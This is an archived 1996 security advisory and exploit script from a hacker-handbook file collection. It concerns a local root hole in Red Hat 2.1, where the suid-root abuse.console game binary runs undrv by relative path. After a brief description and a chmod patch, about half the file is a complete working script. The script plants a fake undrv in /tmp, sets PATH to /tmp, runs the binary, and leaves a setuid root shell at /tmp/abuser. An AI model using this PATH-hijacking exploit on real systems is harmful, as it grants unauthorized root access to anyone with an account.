home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / abuseconsole.sh < prev    next >
Encoding:
Text File  |  1998-10-15  |  2.5 KB  |  71 lines

  1.    There is a security hole in RedHat 2.1, which installs the game abuse,
  2. /usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
  3. loads its files without absolute pathnames, assuming the user is running
  4. abuse from the /usr/lib/games/abuse directory.  One of these files in the
  5. undrv program, which abuse executes as root.  If the user is not in the
  6. abuse directory when running this, an arbitrary program can be substituted
  7. for undrv, allowing the user to execute arbitrary commands as root. 
  8.    If abuse.console needs to be run by users other than root at the console,
  9. provisions need to be made in the code to not execute or load any files
  10. as root.
  11.  
  12.                    Program: /usr/lib/games/abuse/abuse.console suid root
  13. Affected Operating Systems: Red Hat 2.1 linux distribution
  14.               Requirements: account on system
  15.                      Patch: chmod -s /usr/lib/games/abuse/abuse.console
  16.        Security Compromise: root
  17.                     Author: Dave M. (davem@cmu.edu)
  18.                   Synopsis: abuse.console runs undrv without an absolute
  19.                             pathname while executing as root, allowing
  20.                             a user to substitute the real undrv with 
  21.                             an arbitrary program.
  22.  
  23. Exploit:
  24. #!/bin/sh
  25. #
  26. # abuser.sh
  27. # exploits a security hole in abuse to create
  28. # a suid root shell /tmp/abuser on a linux
  29. # Red Hat 2.1 system with the games package 
  30. # installed.
  31. #
  32. # For release 2/2/96 - 1 drink credit please.
  33. #
  34. # by Dave M. (davem@cmu.edu)
  35. #
  36. echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
  37. echo ================ Checking system vulnerability
  38. if test -u /usr/lib/games/abuse/abuse.console
  39. then
  40. echo ++++++++++++++++ System appears vulnerable.
  41. cd /tmp
  42. cat << _EOF_ > /tmp/undrv
  43. #!/bin/sh
  44. /bin/cp /bin/sh /tmp/abuser
  45. /bin/chmod 4777 /tmp/abuser
  46. _EOF_
  47. cat << _EOF_ >> /tmp/the_wall
  48. so ya thought ya might like to go to the show
  49. to feel the warm thrill of confusion that space cadet glow
  50. tell me is something eluding you sunshine?
  51. is this not what you expected to see?
  52. if you wanna find out what's behind these cold eyes
  53. you'll just have to claw your way through this disguise
  54. _EOF_
  55. chmod +x /tmp/undrv
  56. PATH=/tmp
  57. echo ================ Executing Abuse
  58. /usr/lib/games/abuse/abuse.console
  59. /bin/rm /tmp/undrv
  60. /bin/rm /tmp/the_wall
  61. if test -u /tmp/abuser
  62. then
  63. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
  64. else
  65. echo ---------------- Exploit failed
  66. fi
  67. else
  68. echo ---------------- This machine does not appear to be vulnerable.
  69. fi
  70.  
  71.